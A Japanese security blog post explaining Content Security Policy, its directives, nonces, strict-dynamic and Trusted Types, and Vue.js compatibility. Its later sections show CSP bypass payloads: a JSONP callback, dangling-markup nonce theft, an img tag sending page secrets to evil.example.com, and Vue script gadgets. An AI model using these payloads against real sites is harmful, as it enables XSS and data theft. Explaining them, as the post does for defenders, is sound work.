SSTエンジニアブログ

SSTのエンジニアによるWebセキュリティの技術を中心としたエンジニアブログです。

CSP(コンテンツセキュリティポリシー)について調べてみた

はじめに

SSTでアルバイトをしていて約一年半、仕事は勉強になることばかりで「むしろ自分がお金を払わなくて良いのか?」と思いつつある石渡です。 今回はとある理由でCSP(コンテンツセキュリティポリシー)について調べる機会を頂き、色々な記事を読みましたので、CSPについてまとめてみます。

目次

CSPとは

CSP(Content Security Policy)は、対応しているユーザーエージェント(通常はブラウザ)の挙動をWebサイト運営者が制御できるようにする宣言的なセキュリティの仕組みです。どの機能が有効になるか、どこからコンテンツをダウンロードすべきか、などを制御することで、Webサイトの攻撃対象領域を小さくできます。1

簡単に説明すると、XSS等を緩和する為、インラインスクリプトやevalなどを禁止したり、信頼できるコードなどを参照するように制限をかけたりするセキュリティの為のHTTPレスポンスヘッダーです。このHTTPレスポンスヘッダー(CSP)はAlexa Top 100万サイト中ではわずか4~6%しか利用されていません,裏を返せば約95%ぐらいのサイトはCSPをしていないということですね。単純に知名度がないのか他の理由があるのか気になりますが、ただ探してみると意外にもTwitterやpixiv、Facebookなどで使われていたりします。

下の画像で1つの例を説明します。script-src 'http://hoge.com';はCSPの使い方の1つで、読み込めるスクリプトを制限するものです。この場合はhoge.comというドメインのスクリプトだけを信用するという意味なので、悪意のあるスクリプトpiyo.comのevil.jsを読み込むのをブロックします。

CSPの使い方の一例
CSPの使い方の一例

もともとCSPはContent Restrictionsという名前で呼ばれていて、Mozillaで最初に導入されたものでした。継続的に更新され、現段階ではCSP2(CSP Level2)がW3C勧告(W3CというWebに関する仕様を標準化する国際・非営利団体が推奨している)になっており、CSP3はまだ作業草案状態2です。

また、ブラウザが使うプロトコルをhttpsなどにすることでXSSだけでなくパケット盗聴攻撃の軽減することも出来ます。

CSPの適応方法はHTTPレスポンスヘッダーに以下のように設定すれば使えます

Content-Security-Policy: policy

policyの箇所には、サイトが適用したいCSPを表すディレクティブ(次の項目で説明します)から構成される文字列が入ります。

https://developer.mozilla.org/ja/docs/Web/HTTP/CSP

CSPのディレクティブについて

先ほど出てきたディレクティブをGoogleで検索すると以下のような言葉がでてきます。

  • ディレクティブ(directive) : 指令 命令 訓令

つまり、スクリプトやメディア、画像、CSS、etc..などの読み込みに関する指針を設定するルールを意味します、そのまんまですね。

  • フェッチディレクティブ(読み込むリソースに関する部分)
  • 文書ディレクティブ(文書もしくはWorker環境のプロパティに関する部分)
  • ナビゲーションディレクティブ(ユーザーが移動する場所やフォームの送信先などに関する部分)
  • 報告ディレクティブ(CSP違反の報告過程に関する部分)
  • その他(仕様書外のディレクティブ)

ディレクティブは上記のようにいくつかあり、例えばフェッチディレクティブは以下のようになっています。

フェッチディレクティブ
フェッチディレクティブ
                            ※画像元:https://www.gowest1.com/csp/

フェッチディレクティブはスクリプトや画像、CSSなど個別に設定が出来ますが、何も設定しなかった場合は次のディレクティブが参照されます。 Content-Security-Policy: default-src <source>; default-srcは名前のとおり、他のディレクティブscript-srcstyle-srcなどが設定されていない場合のフォールバック3として機能します。

default-src設定方法<source>の部分に信用できるホスト名(httpsやhttpなどのスキームも指定できる)やself(自身のドメイン) などを入れることで使えます。 他にはインラインのスクリプトを許可するunsafe-inline、evalなどを許可するunsafe-eval、何も許可しないnoneなどもあります。 もちろんunsafeは文字通り推奨されていません、unsafe-inlineunsafe-evalを使うと正規のインラインスクリプトと区別が付かずに悪意のあるスクリプトを実行する可能性があったり(インラインスクリプトを使いたい場合はnonceやハッシュを利用する方法がある)、evalによって文字列が実行されたりする可能性があるためです。

Nonceとハッシュについて

<script>
  var inline = 1;
</script>

上記のようなHTMLに書かれているインラインスクリプトは基本的にCSPでは制限されています。 しかし、nonce4ハッシュ(許可したいインラインスクリプトのハッシュ値をBase64エンコードしたものをscript-srcに入れる)を使うことでCSPがあってもインラインスクリプトを使うことができます。

例:nonceの場合

<script nonce=hogefugapiyo>
  //これはインラインコードです.
</script>

CSPの設定 Content-Security-Policy: script-src 'nonce-hogefugapiyo'

また、<button onclick="alert('hoge');">HOGE</button>などのようなHTML属性に直接スクリプトを書き込む、インラインイベントハンドラーはCSPでは推奨されていないらしく(そもそもJSとHTMLは分離した方が良いです5)nonceを追加しても使えません。ただし、非推奨ですがunsafe-hashesで使いたいイベントハンドラーのハッシュを登録するとunsafe-inlineを使わなくても使えるようになります。

unsafe-hashedの用法

例:ハッシュの場合

<script>
[] == ![]
</script>

CSPの設定 Content-Security-Policy: script-src 'sha256-Yb2hsR5XL7w4ECBzM49dIXAPsZmwB/HucKZklpfK6To='

ハッシュを使う場合はインラインスクリプト1つ1つのハッシュ値を求める必要があるので、インラインスクリプトの数が多い場合はCSPを適応させるコストがとても大きいです。そのために後に説明するstrict-dynamicがあります。

CSPのレポートとテストについて

CSPは性質上、ホワイトリスト形式なのでルールにそぐわない画像の読み込みやスクリプトの実行などは問答無用でブロックされます。その為、CSPに対応していないサイトにCSPを適応させると、まともにサイトが見れなくなる可能性が大きいです。 そこで本番環境にいきなりCSPを適応させるのは恐ろしいという人の為に、 Content-Security-Policy-Report-Onlyというブロックしないテスト専用のCSPがあります(大抵のディレクティブはmeta要素でも設定できますが、この機能はmeta要素では設定できません)。

この機能はreport-uriディレクティブを設定することで、以下のようなJSONが指定したURIに送られます。

{
  "csp-report": {
    "document-uri": "http://example.com/signup.html",
    "referrer": "",
    "blocked-uri": "http://example.com/css/style.css",
    "violated-directive": "style-src cdn.example.com",
    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri ",
    "disposition": "report"
  }
}

https://developer.mozilla.org/ja/docs/Web/HTTP/CSP#Sample_violation_report

strict-dynamicについて

nonceやハッシュを使った方法はサイトが使っているライブラリなどの相性もあり、nonceやハッシュに対応していないものを使った日には全部のインラインスクリプトにnonceを付与したり、ハッシュ値を求めたりする作業が待っています。 そこで、1つ1つのインラインスクリプトの対応をする面倒を取り除いてくれるのがstrict-dynamicです。

strict-dynamicとはCSP3で追加されるディレクティブです。 nonceで許可されたスクリプトを親として、親のスクリプトから生成された子スクリプト、孫スクリプトは自動的にCSPに許可されるようになるので親のスクリプトにnonceを付けるだけで済み楽になります。 また、strict-dynamicがある場合はscript-srcのselfやunsafe-inline等が無視されます。

対応状況6

Chrome Edge Firefox IE Opera safari
strict-dynamic 52 79 52 no 39 no

Trusted-Typesについて

せっかくなのでDOM Based XSSと呼ばれるDOMが意図しない文字列で更新できてしまう攻撃などに有効なTrusted-Typesと呼ばれるものがあるので少し紹介します。 Trusted-Typesはまだドラフト状態のものなので中身が変わる可能性があります。 使い方は以下の例のようにCSPで設定するポリシー名を宣言し、DOMの更新などをする時には文字列を定義したポリシーに通して、変更するといった感じになっています。

Content-Security-Policy: trusted-types 自分のポリシー;

const ポリシー = trustedTypes.createPolicy('自分のポリシー', {
  createHTML: (入力) => 入力検査する関数(入力),
});

myDiv.innerHTML = ポリシー.createHTML(検査されてない文字列);

機能は以下の様になります

  • 検査されていない文字列でのDOMの更新を禁止
  • 個別に定義したTrusted Type Policiesから生成されるTrusted Typesオブジェクトでのみ、DOMを更新できる

つまるところ、汚染された可能性がある文字列チェックを開発者に強制する機能で、現在はまだChromeでしかTrusted-Typesは使えないみたいです。

参考元: DOM Based XSS対策のChromeの新機能「Trusted Types」を試してみた 安全な文字列であると型で検証する Trusted Types について TrustedTypes

Trusted-Typesについて補足

2019年の6月頃にwindow.TrustedTypesはwindow.trustedTypesの小文字に変更されているので上のポリシー作成例のtrustedTypes.createPolicy(~~略ではtrustedTypesは小文字です。

<https://github.com/w3c/webappsec-trusted-types/issues/177

Dom Based XSSについて補足

DomBasedXSSについて調べると昔の記事などでinnerHTMLを使用した例が出てきますが、HTML5ではinnerHTMLに<script>タグを入れても以下のリンクの説明に書いてあるように仕様上活性化しません。

https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#Security_considerations

Django CSPミドルウェアについて

以前にDjangoでCSPを試していたことがあったので、その時に使ったミドルウェアについて、ざっと紹介します。 DjangoのCSPミドルウェアは Mozilla が提供している

Django-CSP

があります。

インストール方法は以下のコマンドを打つだけです、簡単ですね。

pip install django-csp

使い方はDjangoのsettings.pyのMIDDLEWAREに以下の設定を書き込めば使えます。

MIDDLEWARE = (
    # ...
    'csp.middleware.CSPMiddleware',
    # ...
)

テンプレートエンジンのJinja2をインストールしている場合、csp.extensions.NoncedScriptをsettings.pyのTEMPLATESに設定すると、Nonceを自動的に追加してくれるので便利です。

{% script type="application/javascript" async=False %}
        <script>
                var hello='world';
        </script>
{% endscript %}

Django-CSPの細かい使い方は ドキュメント を見てください。

CSPバイパスについて

今まで説明したようにXSSなどから守ってくれる、心強いCSPですが、既にいくつかの回避手法が考案されています。ここではいくつかCSPを回避する手段を紹介します。

JSONPによるバイパス

JSONPとは同一生成元ポリシー(SOP)の制約を回避するための技術です。具体的には別ドメインのデータをscriptタグのsrcで取得する方法です。以下にJSONPの例を載せます。

別ドメイン側

jsonp({"apple":"red","banana":"yellow"})

取得する側

 <script src='http://別ドメイン/getjson?callback=jsonp'>

JSONPによるバイパスContent-Security-Policy: script-src 'self' trusted.example.com 上記のようなCSPのホワイトリストにあるドメイン(trusted.example.com)にJSONPエンドポイントが存在し 更にtrusted.example.com/jsonp?callback=alert(1)//でアクセスしたらalert(1)//({});の様なレスポンスを返す場合に発生します。
alert(1)//({});//はJavaScriptのコメントアウトとして機能するのでalert(1)が実行されてしまうという流れで、 このドメインのスクリプトはCSPでは許可されているのでCSPをバイパスすることが可能になるということです。

*また、JSONPだけでなく、ドメインのホワイトリストに登録されているCDN上に脆弱性のある古いJSライブラリが置かれているとバイパスされる可能性もあります。

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#angularjs-and-whitelisted-domain

Nonce方式のXSS対策回避

ドメインのホワイトリスト方式でもJSONPによるバイパスなどでXSSが使える可能性があるため、実行できるスクリプトを更に限定的にするnonceがXSS対策で薦められています。 しかしnonceを使っていてもDangling Markup Injection Attackという攻撃でXSSが可能になる場合があります。 Dangling Markup Injection Attackは以下の例のように、あえてscriptタグを閉じないことで下にある正規のスクリプトにぶら下がるようにnonceを奪うことが可能になります。

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-hogefugapiyo';">
</head>
<body>
  <script src="data:text/javascript,alert('XSS')" 
  <script nonce="hogefugapiyo">正規の関数()</script>
</body>

</html>

上記の攻撃は正規のスクリプトの開始タグの一部がscriptタグの属性名として解釈され、nonceを奪われる為、バイパスが可能になります。

<script src="data:text/javascript,alert('XSS')" <script="" nonce="hogefugapiyo">正規の関数()</script>

現在の対応状況としてはFirefoxがいまだに対応していません。

Chrome(81) Edge(44) Firefox(75) IE(11)
対応状況

※△:自分の環境のIEで試したらスクリプト実行許可の確認の表示がでました。

また、上記と似たような手法を用いてJSではなくHTMLを注入することで情報を取得できる場合があります。(Post-XSS attack または Scriptless attackと呼ばれます) 例えば、以下の様にimgタグのsrc属性を'で閉じないでいると、 次の'までの文字列がevil.example.comevil.example.com/hoge?x=<p>機密情報:hoge...のような感じのリクエストとして取得されてしまいます。ただし、この場合はimg-srcなどのCSPを適切に設定すれば、防ぐことが可能です。

<html>
  <body>
    <img src='//evil.example.com/hoge?x=
    <p>機密情報:hogepiyohuga</p>
    <p>なんかのパスワード:password</p>
    <p>'</p>
  </body>
</html>

対応状況

Chrome(81) Edge(44) Firefox(75) IE(11)
対応状況

現実世界のCSPバイパスの例

前の部分でCSPを回避する方法を紹介しましたが、次は実際のサービスなどで見つかったCSPバイパスの実例を少し紹介します。

Twitter応用パターン

2018の4月頃に見つかったTwitterのバグで、Twitterカードのエスケープ処理の不備により任意のタグを埋め込める脆弱性があったというものです。
攻撃の流れとしては以下です。

  1. scriptタグを挿入
  2. JSONPエンドポイントのあるCSPのホワイトリストドメインを利用
  3. SOME attackによるJSONPのJSシンタックス制限の回避

TALE OF A WORMABLE TWITTER XSS

Edgeのパターン(Chrome)

2019年6月辺りの記事の話です。 EdgeはCSPのディレクティブに無効なものがあると全てのポリシーを無効にしてしまう仕様があるらしく、以下の記事では、ユーザがCSPに任意の文字列を入力できる状況を利用しCSPを無効にしています。

Bypassing CSP with policy injection

具体例をだすと、1つ下のコードのCSPではインラインスクリプトは許可されていない為、スクリプトは実行しません。しかし、もう1つ下のコードではnonce-hoge;_という無効なディレクティブがある為、インラインスクリプトがEdgeでは実行されます。

発火しない例

content-security-policy: script-src 'self' 'nonce-hoge'
<script>alert("🍣食べたい!")</script>

🔥発火🔥する例 (nonce-hogeにセミコロンとアンダーバーを追加)

content-security-policy: script-src 'self' 'nonce-hoge;_'
<script>alert("🍣食べたい!")</script>

更にEdgeだけでなくChromeでもCSPに任意の文字列を入力できる場合にCSP制限を回避することができます。 方法はCSP3のscript-src-elemという全ての外部読み込みスクリプトとscript内のスクリプトを操作するディレクティブがあり そのディレクティブはscript-srcを上書きするのでscript-src-elemをcspに追加できる場合、CSPをバイパスすることができるというものです。
*FireFoxではscript-src-elemに対応していないので使えないです。

Firefoxでstrict-dynamicバイパス(CVE-2018-5175)

kinugawaさんの記事の話

Firefox 60未満のバージョンで開発者ツールの一部であるrequire.jsが任意のウェブページからロード可能な場合に起きるバグ

<script data-main="data:,alert(1)"></script>

上記の様なスクリプトが挿入されると、require.jsが自動的に以下の様に新たなスクリプトを追加する為にCSPのstrict-dynamicがバイパスが可能になってしまうといったものです。

var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);

require.jsにはnonceが付与されていないがCSPには拡張機能やブックマークレットの機能を妨害すべきでないと明記されており、この規則がrequire.jsにも適用されていたのでCSPにブロックされずバイパスを許す原因となったらしいです。

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].7

現在はrequire.jsにもCSPが適用するようになっています。

CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパス

CSPとVue.jsの相性について

Vue.jsとCSPの相性についても少し調べたのでまとめてみました。

ビルドによる違い

Vue.jsには複数のビルド8があり、大まかに分けて完全ビルドランタイム限定ビルドが存在します。

用語集

  • 完全: コンパイラとランタイムの両方が含まれたビルド
  • ランタイム: Vueインスタンスの作成やレンダリング、仮想 DOM の変更などのためのコード。基本的にコンパイラを除く全てのもの
  • コンパイラ: テンプレート文字列を JavaScript レンダリング関数にコンパイルするためのコード

Vue.jsではテンプレートをコンパイルする必要があり、何もツールを使わずにVue.jsを使うとブラウザでコンパイルが行われます。 しかし、テンプレートのコンパイル時にnew Function()のような式を評価する処理があるためにCSPのポリシー(unsafe-eval)に違反し、使うことができません。
unsafe-evalを許可しない場合でもVue.jsを使いたいときはCSP対応ビルド9を使うかwebpackなどでプリコンパイルされたランタイムだけのものを使うかの方法があります。

Vue.js unsafe-evalあり unsafe-evalなし
完全ビルド 使える 使えない
CSP対応ビルド 使える 使える
ランタイム限定ビルド 使える 使える

https://jp.vuejs.org/v2/guide/installation.html#CSP-%E7%92%B0%E5%A2%83

Vue.jsでのXSSとCSP

SSTのブログで紹介されていたVue.jsで起こりうるXSSがCSPで対応できるかのまとめです。

v-html を使って HTML を生で出力した場合の XSS

v-htmlは生のHTMLを出力するのでVue.jsの公式ではあまり推奨していません。

XSS 脆弱性を容易に引き起こすので、ウェブサイトで動的に任意のHTMLを描画することは、非常に危険です。信頼できるコンテンツにだけ HTML 展開を利用してください。ユーザーから提供されたコンテンツに対しては決して使用してはいけません。10

<script>タグは発火しないがonerrorのようなイベントハンドラーは発火する、CSPの設定では unsafe-inline を付けなければ防ぐことが出来ます。

v-bind:href を使ってURLを動的に出力した場合のXSS

    <div id="app">
    <a v-bind:href="url">Link</a>
    </div>

    <script>
      new Vue({
        el: '#app',
        data: {
          url: 'javascript:alert(1)'
        }
      })
    </script>

hrefにjavascriptスキームが設定されることでXSSが起きます。しかし、これも上記のCSP設定と同じく 'unsafe-inline' を付けないことで防ぐことができます。

Vue.jsとサーバーサイドのテンプレートを混在させた場合のXSS

Vue.jsではHTMLベースのテンプレート構文を使っていて、データバインディングのもっとも基本的な形としてMustache構文と呼ばれる、テキスト展開の方法があります。このMustache構文はJavaScript式をサポートしているので{{ alert('xss') }}などができます、ただしmustachesはデータをHTMLではなく、プレーンなテキストとして扱うのでユーザーが悪意のある文字列(例えばevil=alert('xss'))を設定しても {{ evil }} はスクリプトとして実行されません。

しかし、PHPの<?= ?>やRailsの<%= %>ような SSR(ServerSideRendering) がVue.js内に混在していた場合、ユーザーがVue.jsのテンプレート生成をできる可能性があり、上記の{{ alert('xss') }}の様なXSSが発生する場合があります。

ブログ内の方法ではCSPの設定の 'unsafe-eval' を使わないことで防ぐことが出来ます。 ただし、次に紹介するスクリプトガジェットをMustache構文で使った方法ではunsafe-evalなしでもalert()が発火します。

参考資料:https://www.slideshare.net/tobaru_yuta/vuejs-xss

スクリプトガジェット(Vue.js 2.x)について

スクリプトガジェットについて

スクリプトガジェットとは、以下の図のような無害なHTMLタグや属性を実行可能なJSに変換してくれるものらしく。WAF,XSS filters,CSPなどの様々な緩和策をバイパスする可能性があります。 2017年blackhatの資料によると、人気Webフレームワークの殆どにスクリプトガジェットが存在していたみたいです。すごい!

スクリプトガジェット例
スクリプトガジェット例

Vue.jsのスクリプトガジェット例について

Vue.jsの完全ビルドとCSP対応ビルドにはeval()相当の機能があり、ここを利用することでCSPのバイパスが出来ます。

例として

  • Vue.jsのv-onの $event.target.ownerDocument.defaultViewはWindowオブジェクトに等しく、CSPにunsafe-inlineがなくても、以下のような値を入れるとalert()が実行されます。

    html <img src=x @error="$event.target.ownerDocument.defaultView.alert(1)">

  • 上と同じ要領でMustache構文を使ったalert()の実行

    html <p>{{this.$el.ownerDocument.defaultView.alert(1)}}</p>

※v-show, v-if, v-for, v-bindでも同様のことが可能みたいです。

CSP&Vue.jsとバイパスの対応表
Vue.js whitelists nonces strict-dynamic
完全ビルド+ue
CSP対応ビルド
ランタイム限定ビルド

※ ue: unsafe-eval, ✓: バイパス可能

Vue.jsのXSS対応策

Vue.jsにeval()相当の機能があるせいでunsafe-inlineと同じ状態になってしまうので、その機能がついていないランタイム限定ビルドを使います。

ランタイム
ランタイム
Chrome 76.0.x Vue.js 2.6.10で検証、ランタイム限定ビルドでは発火しませんでした

おわりに

CSPの気になる仕事と使用例!効果は!? 今回はいま話題のCSPについて自分なりに調べて見ました!調べた結果、結構難しそうでした。いかがでしたか?
へんな冗談はさておき、CSPについて調べた感想としては、事前に「自分はサイトに絶対CSPを使うぞ!」と決めてないと、かなり導入するのが難しそうなものだなと思いました。一度、練習として、もう完成しているページにCSPを導入したら、至る所でエラーが起きて大変でした💦。
冒頭でも述べましたが統計的に見ると、CSPを導入しているサイトはかなり少なく、更にCSPがあるサイトでもほとんどがあまり有効な使い方がされていないみたいです。もし「XSSとか怖いしCSP使ってみるか」と思っている人はこのサイトでCSPの評価ができるので活用して試してみてください。

参考文献


  1. プロフェッショナルSSL/TLS Ivan Ristić 著、齋藤孝道 監訳

  2. https://www.w3.org/TR/CSP3/

  3. 通常使用する方式や系統が正常に機能しなくなったときに、機能や性能を制限したり別の方式や系統に切り替えるなどして、限定的ながら使用可能な状態を維持すること

  4. 認証などで使われる使い捨てのランダムな値、CSRF対策などでも使われる

  5. https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_dont_use_these

  6. https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy

  7. https://www.w3.org/TR/CSP3/#extensions

  8. https://jp.vuejs.org/v2/guide/installation.html#%E3%81%95%E3%81%BE%E3%81%96%E3%81%BE%E3%81%AA%E3%83%93%E3%83%AB%E3%83%89%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6

  9. https://github.com/vuejs/vue/tree/csp/dist

  10. https://jp.vuejs.org/v2/guide/syntax.html#%E7%94%9F%E3%81%AE-HTML